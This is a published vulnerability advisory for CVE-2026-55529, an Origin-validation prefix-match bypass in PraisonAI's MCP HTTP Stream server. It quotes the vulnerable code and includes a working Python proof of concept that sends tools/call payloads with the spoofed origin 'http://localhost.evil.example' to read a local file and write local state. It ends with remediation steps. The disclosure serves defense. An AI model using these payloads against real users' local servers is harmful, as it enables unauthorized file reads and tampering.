CVE-2026-55529: PraisonAI: Origin validation bypass in MCP HTTP Stream transport allows browser-mediated unauthenticated tool execution on local MCP server

Published Aug 25, 2026
·
Updated

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

- src/praisonai/praisonai/mcpserver/cli.py - src/praisonai/praisonai/mcpserver/transports/httpstream.py - src/praisonai/praisonai/mcpserver/server.py - src/praisonai/praisonai/mcpserver/adapters/init.py - src/praisonai/praisonai/mcpserver/adapters/extendedcapabilities.py - src/praisonai/praisonai/mcpserver/adapters/clitools.py - src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

python parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8080) parser.addargument("--api-key", default=None) parser.addargument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

python registerall()

server.runhttpstream( host=parsed.host, port=parsed.port, endpoint=parsed.endpoint, apikey=parsed.apikey, corsorigins=corsorigins, allowedorigins=allowedorigins, sessionttl=parsed.sessionttl, allowclienttermination=allowtermination, responsemode=parsed.responsemode, resumabilityenabled=parsed.resumability, )

When allowedorigins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

python if allowedorigins is None: if host in ("127.0.0.1", "localhost", "::1"): self.allowedorigins = [ "http://localhost", "http://127.0.0.1", "https://localhost", "https://127.0.0.1", ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

python for allowed in self.allowedorigins: if requestorigin == allowed or requestorigin.startswith(allowed): return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

python if self.apikey: authheader = request.headers.get("Authorization", "") if not authheader.startswith("Bearer ") or authheader[7:] != self.apikey: return JSONResponse( {"error": "Unauthorized"}, statuscode=401, )

The request body is then parsed and dispatched to the MCP server:

python body = await request.json() response = await self.server.handlemessage(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

python toolname = params.get("name") arguments = params.get("arguments", {})

tool = self.toolregistry.get(toolname)

if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(arguments) else: result = tool.handler(arguments)

registerall() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

python def registerall(): registeralltools() registerextendedcapabilitytools() registerclitools() registermcpresources() registermcpprompts()

One exposed MCP tool is praisonai.files.create, which accepts a local filepath and passes it to filecreate():

python @registertool("praisonai.files.create") def filescreate(filepath: str, purpose: str = "assistants") -> str: from praisonai.capabilities import filecreate result = filecreate(file=filepath, purpose=purpose)

filecreate() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

python fileobj = file if isinstance(file, str): fileobj = open(file, 'rb')

response = litellm.createfile(callkwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

bash python3 pocmcporiginbypass.py

pocmcporiginbypass.py:

python import json import os import sys import tempfile import types from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

Fake litellm so the PoC proves local file read without network exfiltration. captured = {} fakelitellm = types.ModuleType("litellm")

def createfile(kwargs): f = kwargs["file"] captured["filename"] = getattr(f, "name", "<bytes>") captured["content"] = f.read().decode("utf-8")

class Resp: id = "file-safe-local-poc" object = "file" bytes = len(captured["content"]) filename = captured["filename"] purpose = kwargs.get("purpose") status = "processed"

return Resp()

fakelitellm.createfile = createfile sys.modules["litellm"] = fakelitellm

from praisonai.mcpserver.server import MCPServer from praisonai.mcpserver.transports.httpstream import HTTPStreamTransport from praisonai.mcpserver.adapters import registerall

registerall() server = MCPServer(name="praisonai-local-poc")

Default vulnerable configuration: localhost host, no API key, default allowed origins. transport = HTTPStreamTransport( server=server, host="127.0.0.1", apikey=None, allowedorigins=None, ) app = transport.createapp() client = TestClient(app)

with tempfile.TemporaryDirectory() as td: os.environ["HOME"] = td

marker = Path(td) / "safe-marker.txt" marker.writetext("SAFELOCALMARKERMCPFILEREAD")

filepayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "praisonai.files.create", "arguments": { "filepath": str(marker), "purpose": "assistants", }, }, }

# Non-localhost malicious origin is blocked. blocked = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "https://evil.example", "Content-Type": "text/plain", }, )

# Prefix-matching bypass: accepted because it starts with http://localhost. bypass = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todopayload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "praisonai.todo.add", "arguments": { "content": "SAFELOCALTODOMARKER", "priority": "high", }, }, }

todo = client.post( "/mcp", data=json.dumps(todopayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todofile = Path(td) / ".praison" / "todo.json"

print(json.dumps({ "blockedoriginstatus": blocked.statuscode, "bypassoriginstatus": bypass.statuscode, "bypassresponsetext": bypass.json().get("result", {}).get("content", [{}])[0].get("text"), "capturedfilebasename": Path(captured.get("filename", "")).name, "capturedfilecontent": captured.get("content"), "todostatus": todo.statuscode, "todoresponsetext": todo.json().get("result", {}).get("content", [{}])[0].get("text"), "todofileexists": todofile.exists(), }, indent=2))

Observed output:

json { "blockedoriginstatus": 403, "bypassoriginstatus": 200, "bypassresponsetext": "File created: file-safe-local-poc", "capturedfilebasename": "safe-marker.txt", "capturedfilecontent": "SAFELOCALMARKERMCPFILEREAD", "todostatus": 200, "todoresponsetext": "Todo added: 0440613d", "todofileexists": true }

The important results are:

- Origin: https://evil.example is rejected with 403. - Origin: http://localhost.evil.example is accepted with 200. - The bypassed request invokes praisonai.files.create and reads the local safe marker file. - The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and - modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Other sources

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, the MCP HTTP Stream validateorigin method accepts requestorigin.startswith(allowed), so the attacker-controlled localhost.evil.example HTTP origin matches the localhost allowlist. Without an API key, a malicious webpage can submit tools/call requests to the local MCP server and execute exposed tools. This issue is fixed in version 4.6.58.

MITRE

Affected Software

1 affected componentFixes available
pip/PraisonAI<4.6.58
4.6.58

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.6.58
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 4.6.58
  3. Configuration

    Ensure HTTP Stream transport allowed origins are explicitly configured and do not rely on the vulnerable behavior where request_origin.startswith(allowed) could accept attacker-controlled origins like "http://localhost.evil.example". (Issue fixed in praisonai 4.6.58.)

    PraisonAI MCP HTTP Stream transport allowed_origins = Explicitly configure allowed origins (do not rely on default/implicit localhost prefix match)
  4. Configuration

    Start the MCP HTTP Stream server with an API key configured, since authentication is only enforced if an API key is configured; without an API key, a malicious webpage can trigger unauthenticated MCP tools/call requests.

    PraisonAI MCP HTTP Stream server (CLI / transport) api_key = Configure an API key (non-None)
  5. Compensating control

    Run the MCP HTTP Stream server so it is not reachable from browser contexts (e.g., bind only to localhost as in the default, and avoid setups that allow browser-mediated access such as DNS-rebinding-style scenarios), and do not expose the HTTP Stream server to untrusted networks.

Event History

Aug 25, 2026
Advisory Published
via GitHub·02:26 PM
Data Sourced
via GitHub·02:26 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·02:26 PM
Data Sourced
via MITRE·02:26 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Users running a local PraisonAI MCP HTTP Stream server without an API key are exposed, because that is the CLI default. The default bind address is 127.0.0.1, so the server is not directly internet-facing by default; exploitation requires a victim browser to access attacker-controlled content.

2

What does an attacker need to exploit the vulnerability?

An attacker needs to induce a user with the local MCP server running to visit a malicious webpage. That page can use an origin beginning with an allowed localhost value, such as http://localhost.evil.example, to bypass the Origin validation and send unauthenticated tools/call requests.

3

Are default settings affected?

Yes. The default localhost allowlist uses unsafe prefix matching, and the CLI starts the server without an API key by default. Although the server binds only to 127.0.0.1 by default, browser-mediated requests can still reach it from a malicious site.

4

What can be done if patching is not immediately possible?

Configure the MCP HTTP Stream server to require an API key. Avoid running the unauthenticated local server while browsing untrusted websites, since exploitation relies on a malicious webpage reaching the localhost service through the browser.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203